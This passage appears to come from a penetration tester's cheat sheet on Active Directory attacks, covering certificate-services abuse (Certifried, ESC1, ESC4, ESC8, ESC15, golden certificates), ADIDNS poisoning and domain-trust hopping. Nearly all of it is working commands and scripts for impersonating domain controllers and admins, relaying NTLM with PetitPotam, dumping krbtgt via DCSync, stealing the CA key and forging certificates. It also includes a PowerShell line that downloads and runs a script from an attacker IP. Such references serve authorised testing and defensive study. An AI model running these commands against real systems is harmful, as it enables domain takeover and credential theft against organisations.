$ certipy find -u snovvcrash@megacorp.local -p 'Passw0rd!' -target DC01.megacorp.local -ns 192.168.1.11 -dc-ip 192.168.1.11 [-dc-only] [-text] [-dns-tcp]
```

### certi

* <https://github.com/zer1t0/certi>

Get TGT:

```
$ getTGT.py megacorp.local/snovvcrash:'Passw0rd!'@DC01.megacorp.local -dc-ip 192.168.1.11
```

List CAs and servers (short):

```
$ certi.py list megacorp.local/snovvcrash -k -n --dc-ip 192.168.1.11 --class service
```

List CAs (verbose):

```
$ certi.py list megacorp.local/snovvcrash -k -n --dc-ip 192.168.1.11 --class ca
```

Search for vulnerable certificate templates:

```
$ certi.py list megacorp.local/snovvcrash -k -n --dc-ip 192.168.1.11 --vuln --enable
```

### ADCSKiller

* <https://github.com/grimlockx/ADCSKiller>


# dNSHostName Spoofing (Certifried)

CVE-2022-26923

* <https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4>
* <https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7>
* <https://www.semperis.com/blog/ad-vulnerability-cve-2022-26923/>
* <https://gist.github.com/Wh04m1001/355c0f697bfaaf6546e3b698295d1aa1>
* <https://gist.github.com/dmchell/478d83f369260bd4e4cd380712f6bb6e>
* <https://github.com/aniqfakhrul/certifried.py>
* <https://gist.github.com/tothi/f89a37127f2233352d74eef6c748ca25>

## Check

If there's an object SID printed when requesting a certificate based on the User or Machine templates, the AD environment is **not** vulnerable:

```
$ certipy req -u snovvcrash@megacorp.local -p 'Passw0rd!' -target CA01.megacorp.local -ca CorpCA -template User -dc-ip 192.168.1.11
Certipy v3.0.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate
[*] Successfully requested certificate
[*] Request ID is 120
[*] Got certificate with UPN 'snovvcrash@megacorp.local'
[*] Certificate object SID is 'S-1-5-21-1230029644-1443616230-1161330039-2139'  <== NOT vulnerable
[*] Saved certificate and private key to 'snovvcrash.pfx'
```

## Exploit

Create a new machine account with `dNSHostName` containing FQDN of a DC:

```
$ certipy account create -u snovvcrash@megacorp.local -p 'Passw0rd!' -target DC01.megacorp.local -user FAKEMACHINE -dns DC01.megacorp.local
```

Or change `dNSHostName` property manually for an already pwned machine account, e.g. via [pre2k](https://github.com/snovvcrash/PPN/blob/master/pentest/infrastructure/ad/pre-created-computers-abuse/README.md#acl-abuse-on-pre-windows-2000-computers) (will definitely break stuff!):

```
$ certipy account update -u snovvcrash@megacorp.local -p 'Passw0rd!' -target DC01.megacorp.local -user PWNEDMACHINE -spns ''
$ certipy account update -u snovvcrash@megacorp.local -p 'Passw0rd!' -target DC01.megacorp.local -user PWNEDMACHINE -dns DC01.megacorp.local
```

Request a certificate on behalf of that machine account with spoofed `dNSHostName`:

```
$ certipy req -u 'FAKEMACHINE$@megacorp.local' -p 'M4chinePassw0rd!' -target CA01.megacorp.local -ca CorpCA -template Machine -dc-ip 192.168.1.11
```

### Abuse PKINIT

Authenticate with the obtained certificate and get DC's NT hash via PKINIT:

```
$ certipy auth -pfx dc01.pfx -dc-ip 192.168.1.11
```

### Abuse RBCD

* <https://cravaterouge.github.io/ad/privesc/2022/05/11/bloodyad-and-CVE-2022-26923.html>

Authenticate with obtained certificate and configure RBCD on a DC via [bloodyAD](https://github.com/CravateRouge/bloodyAD) to allow delegation to the fake machine account:

```
$ openssl pkcs12 -in dc01.pfx -out dc01.pem -nodes
$ python bloodyAD.py -d megacorp.local -c ":dc01.pem" --host 192.168.1.11 setRbcd 'FAKEMACHINE$' 'DC01$'
```

### Clean Up

If `dNSHostName` was modified for an existing machine account, roll back the changes:

```
$ certipy account update -u snovvcrash@megacorp.local -p 'Passw0rd!' -target DC01.megacorp.local -user PWNEDMACHINE -dns PWNEDMACHINE.megacorp.local
$ certipy account update -u snovvcrash@megacorp.local -p 'Passw0rd!' -target DC01.megacorp.local -user PWNEDMACHINE -spns WSMAN/pwnedmachine.MEGACORP.LOCAL,WSMAN/pwnedmachine,TERMSRV/pwnedmachine.MEGACORP.LOCAL,TERMSRV/pwnedmachine,RestrictedKrbHost/pwnedmachine,HOST/pwnedmachine,RestrictedKrbHost/pwnedmachine.MEGACORP.LOCAL,HOST/pwnedmachine.MEGACORP.LOCAL
```

{% hint style="info" %}
A list of SPNs to backup can be taken from a BH dump:

```
$ cat 20230301144823_computers.json | jq -r '.data[].Properties | select(.name == "PWNEDMACHINE.MEGACORP.LOCAL") | .serviceprincipalnames'
```

{% endhint %}

## About the Fix

* <https://blog.qdsecurity.se/2022/05/27/manually-injecting-a-sid-in-a-certificate/>
* <https://github.com/GhostPack/Certify/commit/71636c435f2e5e7d8d0770154464f44da356ca42>
* <https://elkement.blog/2022/06/13/defused-that-san-flag/>
* <https://elkement.blog/2022/05/20/how-to-add-a-subject-alternative-name-safely/>
* <https://elkement.blog/2023/03/30/lord-of-the-sid-how-to-add-the-objectsid-attribute-to-a-certificate-manually/>


# ESC1

Modifiable SAN + Smart Card Logon or Client Authentication or PKINIT Client Authentication EKUs

* <https://elkement.wordpress.com/2020/06/21/impersonating-a-windows-enterprise-admin-with-a-certificate-kerberos-pkinit-from-linux/>

The vulnerable certificate template allows requesters to specify a SAN in the CSR as well as allows Smart Card Logon (`1.3.6.1.4.1.311.20.2.2`) or Client Authentication (`1.3.6.1.5.5.7.3.2`) or PKINIT Client Authentication (`1.3.6.1.5.2.3.4`) EKUs.

## Enumerate

Find template with this misconfiguration with native Active Directory module:

```powershell
PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=megacorp,DC=local'
```

## Disable the KB5014754 Patch

Disable `szOID_NTDS_CA_SECURITY_EXT` extension checking (requires CertSvc restart):

```
Cmd > certutil.exe -setreg policy\DisableExtensionList +1.3.6.1.4.1.311.25.2
```

## Exploit

### Certutil

* <https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee>

### Certify

Request a certificate specifying the `/altname` as a domain admin:

```
Cmd > .\Certify.exe request /ca:CA01.megacorp.local\CorpCA /template:VulnTemplate /altname:DomAdmin
```

Convert `.pem` to a `.pfx` certificate:

```
$ openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
```

Request a TGT with the `.pfx` certificate:

```
Cmd > .\Rubeus.exe asktgt /domain:megacorp.local /dc:DC01.megacorp.local /user:DomAdmin /certificate:cert.pfx /password:Passw0rdPfx! /ptt
```

### Certipy

Enroll a certificate with privileged subject in SAN:

```
$ certipy req -u snovvcrash@megacorp.local -p 'Passw0rd!' -target CA01.megacorp.local -ca CorpCA -template VulnTemplate -upn administrator@megacorp.local -dc-ip 192.168.1.11
$ proxychains4 certipy req -u 'PC01$@megacorp.local' -aes <AES_KEY> -ca CorpCA -target CA01.megacorp.local -target-ip 192.168.1.12 -template VulnTemplate -upn 'DC01$@megacorp.local' -sid <DC01_SID> -ns 192.168.1.11 -dc-ip 192.168.1.11 -dns-tcp
```

Request TGT providing the certificate and get the corresponding NT hash automatically:

```
$ certipy auth -pfx administrator.pfx -domain megacorp.local -username administrator -dc-ip 192.168.1.11
```

Manually via web enrollment at `/certsrv/certrqxt.asp`:

{% code title="certrqxt2pfx.py" %}

```python
from certipy.lib.certificate import (
    create_csr,
    create_pfx,
    csr_to_der,
    der_to_pem,
    pem_to_cert,
    cert_id_to_parts,
    get_identifications_from_certificate,
    get_object_sid_from_certificate
)
from certipy.lib.formatting import print_certificate_identifications

username = 'j.doe@megacorp.local'
alt_upn  = 'DC01$@megacorp.local'
alt_sid  = 'S-1-5-21-XXXXXXXXX-XXXXXXXXXX-XXXXXXXXX-1000'
template = 'ESC1'

csr, key = create_csr(
    username,
    alt_dns=None,
    alt_upn=alt_upn,
    alt_sid=alt_sid,
    key=None,
    key_size=2048,
    subject=None,
    renewal_cert=None,
    application_policies=[]
)

attributes = '\n'.join([f'CertificateTemplate:{template}', f'SAN:upn={alt_upn}'])

print(der_to_pem(csr_to_der(csr), "CERTIFICATE REQUEST"))
print(attributes)

# https://CA01.megacorp.local/certsrv/certnew.cer?ReqID=1337&Enc=b64
pem = b'''-----BEGIN CERTIFICATE-----
...
-----END CERTIFICATE-----'''

cert = pem_to_cert(pem)

identifications = get_identifications_from_certificate(cert)
print_certificate_identifications(identifications)

object_sid = get_object_sid_from_certificate(cert)
if object_sid is not None:
    print(f'[*] Certificate object SID is {repr(object_sid)}')
else:
    print('[!] Certificate has no object SID')

out, _ = cert_id_to_parts(identifications)
if out is None:
    out = username
out = out.rstrip('$').lower()

with open(f'{out}.pfx', 'wb') as f:
    f.write(create_pfx(key, cert))

print(f'[+] Saved certificate and private key to {out}.pfx')
```

{% endcode %}

### certi

* <https://gist.github.com/Flangvik/15c3007dcd57b742d4ee99502440b250>

Enroll a certificate with privileged subject in SAN:

```
$ certi.py req megacorp.local/snovvcrash@CA01.megacorp.local CorpCA -k -n --dc-ip 192.168.1.11 --template VulnTemplate --alt-name 'DC01$'
```

Request TGT providing certificate:

```
$ base64 -w0 DC01.pfx > DC01.pfx.b64
$ python3 gettgtpkinit.py megacorp.local/'DC01$' -pfx-base64 `cat DC01.pfx.b64` -pfx-pass admin -dc-ip 192.168.1.11 DC01.ccache
```

Request NT hash providing TGT or DCSync:

```
$ KRB5CCNAME=DC01.ccache python3 getnthash.py megacorp.local/'DC01$' -dc-ip 192.168.1.11 -key <AS_REP_ENC_KEY>
$ KRB5CCNAME=DC01.ccache secretsdump.py DC02.megacorp.local -dc-ip 192.168.1.11 -just-dc-user 'MEGACORP\krbtgt' -k -no-pass
```


# ESC4

Vulnerable Certificate Template ACEs

* <https://github.com/cfalta/PoshADCS>

| Right           | Description                                                    |
| --------------- | -------------------------------------------------------------- |
| `Owner`         | Implicit full control of the object, can edit any properties.  |
| `FullControl`   | Full control of the object, can edit any properties.           |
| `WriteOwner`    | Can modify the owner to an adversary-controlled principal.     |
| `WriteDacl`     | Can modify access control to grant an adversary `FullControl`. |
| `WriteProperty` | Can edit any properties.                                       |

## Enumerate and Modify Templates

* <https://www.fortalicesolutions.com/posts/adcs-playing-with-esc4>
* <https://github.com/fortalice/modifyCertTemplate>

Automatically via [Certipy](https://github.com/ly4k/Certipy):

```
$ certipy template -u snovvcrash@megacorp.local -p 'Passw0rd!' -target DC01.megacorp.local -template VulnTemplate -save-old -dc-ip 192.168.1.11
$ certipy template -u snovvcrash@megacorp.local -p 'Passw0rd!' -target DC01.megacorp.local -template VulnTemplate -configuration VulnTemplate.json -dc-ip 192.168.1.11
```

A stealthier approach is to dump all properties of the vulnerable cert and modify only the needed parts in Certipy's [code](https://github.com/ly4k/Certipy/blob/8e6ac363ddffa81452c41a5162c1107df8934876/certipy/commands/template.py#L35-L53):

```
$ python3 modifyCertTemplate.py -template VulnTemplate -raw megacorp.local/snovvcrash:'Passw0rd!' -dc-ip 192.168.1.11
```


# ESC8

NTLM Relay to AD CS HTTP Endpoints

* <https://blog.truesec.com/2021/08/05/from-stranger-to-da-using-petitpotam-to-ntlm-relay-to-active-directory/>
* <https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/>
* <https://habr.com/ru/company/deiteriylab/blog/581758/>
* <https://habr.com/ru/companies/jetinfosystems/articles/846066/>

## Enumerate

Discover CES endpoints with certutil:

```
Cmd > certutil.exe -enrollmentServerURL -config CA01.megacorp.local\CA01
```

Discover CES endpoints with PowerShell:

```
PS > Get-CertificationAuthority | select name,enroll* | fl
```

Check a bunch of targets for the vulnerable endpoint:

```
$ for ip in `cat ~/ws/discover/hosts/ca.txt`; do curl -sSLkI -u 'MEGACORP\snovvcrash:Passw0rd!' --ntlm http://$ip/certsrv/certfnsh.asp | grep -e 401 -e 200 > /dev/null && echo "[+] $ip" || echo "[-] $ip"; done
```

## Exploit

### ntlmrelayx

* <https://www.exandroid.dev/2021/06/23/ad-cs-relay-attack-practical-guide/>
* <https://github.com/fortra/impacket/pull/1101>
* <https://github.com/ExAndroidDev/impacket/tree/ntlmrelayx-adcs-attack>

```
$ ntlmrelayx.py -t http://CA01.megacorp.local/certsrv/certfnsh.asp -smb2support --adcs [--template VulnTemplate] --no-http-server --no-wcf-server --no-raw-server
$ python3 Petitpotam.py -d '' -u '' -p '' 10.10.13.37 192.168.1.11
PS > .\Rubeus.exe asktgt /user:DC1$ /domain:megacorp.local /dc:DC1.megacorp.local /certificate:<BASE64_PFX_CERT> /ptt
```

### PKINITtools

* <https://dirkjanm.io/ntlm-relaying-to-ad-certificate-services/>
* <https://github.com/dirkjanm/PKINITtools>
* <https://gist.github.com/snovvcrash/8b6a1a10e1f47439d16072c60cc2e099>

Backup original `httpattack.py` and copy one from the toolkit with a modified domain name and a template if needed (`DomainController` is by default, but also one may use `KerberosAuthentication`):

```
$ sudo cp /usr/lib/python3/dist-packages/impacket/examples/ntlmrelayx/attacks/httpattack.py /usr/lib/python3/dist-packages/impacket/examples/ntlmrelayx/attacks/httpattack.py.bak
$ subl ntlmrelayx/httpattack.py
$ sudo cp ntlmrelayx/httpattack.py /usr/lib/python3/dist-packages/impacket/examples/ntlmrelayx/attacks/httpattack.py
```

Perform the relay attack, request the TGT via PKINIT and get the NT hash based on U2U Kerberos extension:

```
$ ntlmrelayx.py -t http://CA01.megacorp.local/certsrv/certfnsh.asp -smb2support --no-http-server --no-wcf-server --no-raw-server
$ python3 Petitpotam.py -d '' -u '' -p '' 10.10.13.37 192.168.1.11
$ python3 gettgtpkinit.py megacorp.local/'DC1$' -cert-pem cert.pem -key-pem privatekey.pem dc1.ccache
$ KRB5CCNAME=dc1.ccache python3 getnthash.py megacorp.local/'DC1$' -key 00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff
```

Revert the original `httpattack.py`:

```
$ sudo mv /usr/lib/python3/dist-packages/impacket/examples/ntlmrelayx/attacks/httpattack.py.bak /usr/lib/python3/dist-packages/impacket/examples/ntlmrelayx/attacks/httpattack.py
```

### Certipy

Prepare for the relay attack:

```
$ certipy relay -ca 192.168.1.12 -template DomainController
```

### ADCSPwn

* <https://github.com/bats3c/ADCSPwn>

{% embed url="<https://youtu.be/W9pUCVxe59Q>" %}

Start a relay server:

```
PS > .\ADCSPwn.exe --adcs CA01.megacorp.local
```

Coerce the authentication, e. g. via [Coercer](https://github.com/p0dalirius/Coercer):

```
$ coercer coerce -u snovvcrash -p 'Passw0rd!' -t 192.168.1.11 -l VICTIM01 --auth-type http --http-port 8080
```


# ESC15

Inject Application Policies into Version 1 Certificate Templates (CVE-2024-49019)

* <https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc>

## Enumerate

Get enabled templates:

```powershell
PS > $enabledTemplates = Get-ADObject -LDAPFilter "(&(objectClass=pKIEnrollmentService))" -SearchBase "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,$((Get-ADRootDSE).rootDomainNamingContext)" -Properties certificateTemplates | select -ExpandProperty certificateTemplates
```

Get v1 templates with `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` that are enabled:

```powershell
PS > Get-ADObject -Filter 'objectClass -eq "pKICertificateTemplate"' -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,$((Get-ADRootDSE).rootDomainNamingContext)" -Property name,msPKI-Template-Schema-Version,msPKI-Certificate-Name-Flag | ? {$_.'msPKI-Template-Schema-Version' -eq 1 -and ($_.'msPKI-Certificate-Name-Flag' -band 0x00000001)} | ? {$enabledTemplates -contains $_.name}
```

## Exploit

### ESC15 → ESC1

Abusing **Client Authentication**:

```
$ proxychains4 certipy req -u snovvcrash@megacorp.local -p 'Passw0rd!' -ca CorpCA -target CA01.megacorp.local -target-ip 192.168.1.12 -template VulnTemplate --application-policies '1.3.6.1.5.5.7.3.2' -upn 'DC01$@megacorp.local' -sid <DC01_SID> -ns 192.168.1.11 -dc-ip 192.168.1.11 -dns-tcp
```

### ESC15 → ESC3

Abusing **Certificate Request Agent**:

```
$ proxychains4 certipy req -u snovvcrash@megacorp.local -p 'Passw0rd!' -ca CorpCA -target CA01.megacorp.local -target-ip 192.168.1.12 -template VulnTemplate --application-policies '1.3.6.1.4.1.311.20.2.1' -ns 192.168.1.11 -dc-ip 192.168.1.11 -dns-tcp
$ proxychains4 certipy req -u snovvcrash@megacorp.local -p 'Passw0rd!' -pfx snovvcrash.pfx -ca CorpCA -target CA01.megacorp.local -target-ip 192.168.1.12 -template User -on-behalf-of 'MEGACORP\DC01$' -ns 192.168.1.11 -dc-ip 192.168.1.11 -dns-tcp
```


# Golden Certificate

THEFT3 + DPERSIST1

Backup and extract manually:

```
Cmd > certutil.exe -backupkey -f -p Passw0rd! C:\Windows\CABackup
$ smbclient.py -k -no-pass CA01.megacorp.local
# use c$
# cd windows/CABackup
# get CorpCA.p12
# rm CorpCA.p12
# cd ..
# rmdir CABackup
```

P12 to PFX:

```
$ certipy cert -pfx CorpCA.p12 -password 'Passw0rd!' -export -out CorpCA.pfx
```

Get CRL from the DC:

```
$ </dev/null openssl s_client -connect <DC_IP>:636 | openssl x509 > dc.crt
```

## Certipy

```
$ certipy ca -backup -ca CorpCA -k -no-pass -target CA01.megacorp.local -dc-ip 192.168.1.11 -ns 192.168.1.11
$ certipy forge -ca-pfx CorpCA.pfx -upn 'DC01$@megacorp.local' (or -dns DC01.megacorp.local) -subject 'CN=DC01,OU=Domain Controllers,DC=megacorp,DC=local' -sid <DC01_SID> -crl 'ldap:///***'
```


# Pass-the-Certificate

Schannel authentication

Authenticate with a certificate using [powerview.py](https://github.com/aniqfakhrul/powerview.py):

```
$ powerview --pfx dc01.pfx megacorp.local/'DC01$'@DC01.megacorp.local -p 636 --use-ldaps --no-admin-check --dc-ip 192.168.1.11 -ns 192.168.1.11 [--obfuscate]
```

## Tools

### PassTheCert

* <https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html>
* <https://github.com/AlmondOffSec/PassTheCert>


# ADIDNS Abuse

Active Directory integrated DNS

0\. Load tools:

```
PS > IEX(New-Object Net.WebClient).DownloadString("http://10.10.13.37/powermad.ps1")
```

1\. Check if you are able to modify (add) AD DNS names:

```
PS > Get-ADIDNSZone -Credential $cred -Verbose
DC=megacorp.local,CN=MicrosoftDNS,DC=DomainDnsZones,DC=megacorp,DC=local
DC=RootDNSServers,CN=MicrosoftDNS,DC=DomainDnsZones,DC=megacorp,DC=local
DC=_msdcs.megacorp.local,CN=MicrosoftDNS,DC=ForestDnsZones,DC=megacorp,DC=local
DC=RootDNSServers,CN=MicrosoftDNS,CN=System,DC=megacorp,DC=local

PS > Get-ADIDNSPermission -Credential $cred -Verbose | ? {$_.Principal -eq 'NT AUTHORITY\Authenticated Users'}
Principal             : NT AUTHORITY\Authenticated Users
IdentityReference     : S-1-5-11
ActiveDirectoryRights : CreateChild
InheritanceType       : None
ObjectType            : 00000000-0000-0000-0000-000000000000
InheritedObjectType   : 00000000-0000-0000-0000-000000000000
ObjectFlags           : None
AccessControlType     : Allow
IsInherited           : False
InheritanceFlags      : None
PropagationFlags      : None
```

This `CreateChild` permission is what we need.

2\. Create, configure the new DNS name that could be likely exploited for spoofing with Attacker's IP and enable it. I chose `pc01` which was found in DNS cache:

```
PS > New-ADIDNSNode -DomainController dc1 -Node pc01 -Credential $cred -Verbose
PS > $dnsRecord = New-DNSRecordArray -Type A -Data 10.10.13.37
PS > Set-ADIDNSNodeAttribute -Node pc01 -Attribute dnsRecord -Value $dnsRecord -Credential $cred -Verbose
PS > Enable-ADIDNSNode -DomainController dc1 -Node pc01 -Credential $cred -Verbose
```

3\. Check the newly created DNS object and try to resolve it. AD will need some time (\~180 seconds) to sync LDAP changes via its DNS dynamic updates protocol:

```
PS > Get-ADIDNSNodeAttribute -Node pc01 -Attribute dnsRecord -Credential $cred -Verbose
PS > Resolve-DNSName pc01
PS > cmd /c ping -n 1 pc01
```

4\. Clean up:

```
PS > Remove-ADIDNSNode -DomainController dc1 -Node pc01 -Credential $cred -Verbose
```

## ADIDNS Poisoning (Wildcard Injection)

* <https://blog.netspi.com/exploiting-adidns/>
* <https://blog.netspi.com/adidns-revisited/>
* <https://www.gosecure.net/blog/2019/02/20/abusing-unsafe-defaults-in-active-directory/>

Check if we can perform the attack:

```
$ python dnstool.py -u 'megacorp.local\snovvcrash' -p 'Passw0rd!' -r '*' --action query DC01.megacorp.local
$ python dnstool.py -u 'megacorp.local\snovvcrash' -p 'Passw0rd!' -r 'wpad' --action query DC01.megacorp.local
```

## Tools

### adidnsdump

* <https://github.com/dirkjanm/adidnsdump>

```
$ adidnsdump -u 'megacorp.local\snovvcrash' -p 'Passw0rd!' DC01.megacorp.local -r [--dcfilter]
$ mv records.csv ~/ws/enum/adidns.csv
```

Check with ldapsearch:

```
$ ldapsearch -H ldap://10.10.13.37:389 -x -D 'CN=snovvcrash,CN=Users,DC=megacorp,DC=local' -w 'Passw0rd!' -s sub -b 'DC=megacorp.local,CN=MicrosoftDNS,DC=DomainDnsZones,DC=megacorp,DC=local' '(objectClass=*)' dnsRecord dNSTombstoned name
```

If you need to dump a child domain ADIDNS (say `child.megacorp.local`), then you may want to use `--zone` and `--forest` options:

```
# Will dump records from DC=megacorp.local,CN=MicrosoftDNS,DC=ForestDnsZones,DC=megacorp,DC=local
$ adidnsdump -u 'child.megacorp.local\snovvcrash' -p 'Passw0rd!' DC01.child.megacorp.local --zone megacorp.local --forest -r

# Will attempt to dump records from DC=child.megacorp.local,CN=MicrosoftDNS,DC=DomainDnsZones,DC=child,DC=megacorp,DC=local (and may fail)
$ adidnsdump -u 'child.megacorp.local\snovvcrash' -p 'Passw0rd!' DC01.child.megacorp.local -r
```

Merge all the IPs into `/24` CIDRs with a Python script:

{% code title="cidr\_merge.py" %}

```python
#!/usr/bin/env python3

"""
Merge standalone IPs into CIDRs.

Example:
$ cat ~/ws/enum/adidns.csv | awk -F, '{print $3}' > ip.lst
$ cidr_merge.py | sort -u -t'.' -k1,1n -k2,2n -k3,3n -k4,4n | grep -e '^192' -e '^172' -e '^10'
"""

import netaddr

iplst = []
with open('ip.lst', 'r') as fd:
	for line in fd:
		ip = line.rstrip('\n')
		try:
			iplst.append(netaddr.IPNetwork(f'{ip}/24'))
		except netaddr.core.AddrFormatError:
			pass

for net in netaddr.cidr_merge(iplst):
	print(str(net))
```

{% endcode %}

Or using [mapcidr](https://github.com/projectdiscovery/mapcidr):

```
$ eget -qs linux/amd64 "projectdiscovery/mapcidr" --to mapcidr
$ cat ~/ws/enum/adidns.csv | awk -F, '{print $3}' | egrep '^[0-9]' | ./mapcidr -aa -silent | ./mapcidr -s -silent

$ cme ldap 192.168.1.11 -u snovvcrash -p 'Passw0rd!' -M get-network -o ALL=true
```

### DnsServer

Dump ADIDNS using PowerShell and `DnsServer` module:

```
PS > Import-Module DnsServer
PS > Get-DnsServerZone -ComputerName DC01 | % {Get-DnsServerResourceRecord -ComputerName DC01 -ZoneName $_.ZoneName -RRType A} | ft -Wrap -AutoSize | tee adidns.txt
```


# Attack Trusts

> *"Note that the Active Directory domain is not the security boundary; the AD forest is."* (Sean Metcalf, [ref](https://adsecurity.org/?p=1640))

* <http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/>
* <http://www.harmj0y.net/blog/redteaming/domain-trusts-were-not-done-yet/>
* <http://www.harmj0y.net/blog/redteaming/domain-trusts-why-you-should-care/>
* <https://habr.com/ru/company/jetinfosystems/blog/466445/>
* <https://xakep.ru/2022/08/10/ad-forest-attack/>

## Theory

* <https://blogs.msmvps.com/acefekay/2016/11/02/active-directory-trusts/>
* <https://github.com/snovvcrash/TrustVisualizer/blob/9dadd852b69b7882577c0ab6ac7f42f539d9c58a/TrustVisualizer.py#L48-L60>
* **Trust** 👉🏻 a link between the authentication systems of two domains.
* **Transitive** trust 👉🏻 the trust is extended to objects which the child domain trusts.
* **Non-transitive** trust 👉🏻 only the child domain itself is trusted.
* **Bidirectional** (two-way) trust 👉🏻 users from both trusting domains can access resources.
* **One-way** trust 👉🏻 only users in a trusted domain can access resources in a trusting domain, not vice-versa (the direction of trust is opposite to the direction of access).

Some trust types:

| Trust Type               | Description                                                                                                                                                     |
| ------------------------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Parent-child             | A trust between domains within the same forest. The child domain has a *bidirectional transitive* trust with the parent domain.                                 |
| Cross-link (shortcut)    | A trust between child domains (used to speed up authentication).                                                                                                |
| Tree-root (intra-forest) | A *bidirectional transitive* trust between a forest root domain and a new tree root domain. Created implicitly when a new domain tree is created in the forest. |
| Forest                   | A *transitive* trust between two forest root domains. Enforces SID filtering.                                                                                   |
| External (inter-forest)  | A *non-transitive* trust between two separate domains in separate forests that are not already joined by a forest trust. Enforces SID filtering.                |

## Enumeration

Get forest object:

```
PV2 > Get-NetForest [-Forest megacorp.local]
PV3 > Get-Forest [-Forest megacorp.local]
```

Get all domains in a fores:

```
PV2 > Get-NetForestDomain [-Forest megacorp.local]
PV3 > Get-ForestDomain [-Forest megacorp.local]
```

Enum trusts for current domain via `nltest` and .NET:

```
Cmd > nltest /trusted_domains /v
PS > ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
PS > ([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()).GetAllTrustRelationships()
```

Enum trusts via Win32 API and LDAP:

```
PV2 > Get-NetDomainTrust [-Domain megacorp.local] | ft
PV3 > Get-DomainTrust -API [-Domain megacorp.local] | ft

PV2 > Get-NetDomainTrust -LDAP [-Domain megacorp.local] | ft
PV3 > Get-DomainTrust [-Domain megacorp.local] | ft
```

Build domain trust mapping:

```
PV2 > Invoke-MapDomainTrust [-Domain megacorp.local] | ft
PV3 > Get-DomainTrustMapping [-Domain megacorp.local] | ft
```

Transitive trusts resolution:

```
$ python bloodyAD.py -d megacorp.local -u snovvcrash -p 'Passw0rd!' --host 192.168.1.11 get trusts --transitive-trust --dns 192.168.1.11
```

No authentication enumeration via MS-NRPC (Netlogon) with [https://github.com/sud0Ru/NauthNRPC](https://github.com/snovvcrash/PPN/blob/master/pentest/infrastructure/ad/NauthNRPC/README.md):

```
$ python3 nauth.py -t 192.168.1.11
```

### Visualization (yEd)

* <http://www.harmj0y.net/blog/redteaming/domain-trusts-why-you-should-care/>
* <https://github.com/HarmJ0y/TrustVisualizer>
* <https://github.com/snovvcrash/TrustVisualizer>
* <https://www.yworks.com/products/yed>

```
PV2 > Invoke-MapDomainTrust | Export-Csv -NoTypeInformation trusts.csv
PV3 > Get-DomainTrustMapping | Export-Csv -NoTypeInformation trusts.csv
$ git clone https://github.com/snovvcrash/TrustVisualizer && cd TrustVisualizer
$ pip3 install -r requirements.txt
$ python3 TrustVisualizer.py trusts.csv
```

## Request a Foreign User TGT with Rubeus

Having just an RC4/AES keys of a user in target forest (that's a foreign user in target domain, but a native user in current domain), we can request Kerberos tickets manually with Rubeus.

Request TGT for that user in current domain:

```
beacon> execute-assembly Rubeus.exe asktgt /user:snovvcrash /domain:megacorp.local /aes256:94b4d075fd15ba856b4b7f6a13f76133f5f5ffc280685518cad6f732302ce9ac /opsec /nowrap
```

Request inter-realm TGT from current domain to the target domain:

```
beacon> execute-assembly Rubeus.exe asktgs /service:krbtgt/megacorp.external /domain:megacorp.local /dc:DC1.megacorp.local /ticket:<BASE64_TICKET> /nowrap
```

Use inter-realm TGT to request a TGS in the target domain:

```
beacon> execute-assembly Rubeus.exe asktgs /service:cifs/DC1.megacorp.external /domain:megacorp.external /dc:DC1.megacorp.external /ticket:<BASE64_TICKET> /nowrap
```

This [PR](https://github.com/fortra/impacket/pull/1431) helps to use such tickets with Impacket.

## Request an Inter-Realm TGT with Impacket

Request a TGT in current domain:

```
$ getTGT.py -aesKey <AES_KEY> megacorp.local/snovvcrash -dc-ip 192.168.1.11
```

Request an IR TGT for the foreign domain in current domain:

```
$ KRB5CCNAME=snovvcrash.ccache getST.py -spn 'krbtgt/MEGACORP.EXTERNAL' -k -no-pass megacorp.local/snovvcrash -dc-ip 192.168.1.11 -debug
```

Request an ST in foreign domain:

```
$ KRB5CCNAME=snovvcrash_megacorp_external.ccache getST.py -spn 'ldap/DC01.MEGACORP.EXTERNAL' -k -no-pass megacorp.external/snovvcrash -dc-ip 192.168.1.22 -debug
```

## sIDHistory/ExtraSids Hopping

* <https://improsec.com/tech-blog/o83i79jgzk65bbwn1fwib1ela0rl2d>
* <https://www.thehacker.recipes/a-d/movement/trusts#forging-tickets>

Abusing Bidirectional ParentChild (`WITHIN_FOREST`) trust between **child.megacorp.local ⟷ megacorp.local**.

Check if SID filtering is enabled for a trust:

```
Cmd > netdom.exe trust child.megacorp.local /domain:megacorp.local /quarantine
SID filtering is not enabled for this trust. All SIDs presented in an
authentication request from this domain will be honored.
```

### Raise Child

* <http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/>
* <http://www.harmj0y.net/blog/redteaming/the-trustpocalypse/>
* <https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain>
* <https://github.com/fortra/impacket/blob/master/examples/raiseChild.py>

For creating a cross-trust golden ticket (Golden Ticket + ExtraSid) we'll need:

1. Child domain FQDN (`child.megacorp.local`);
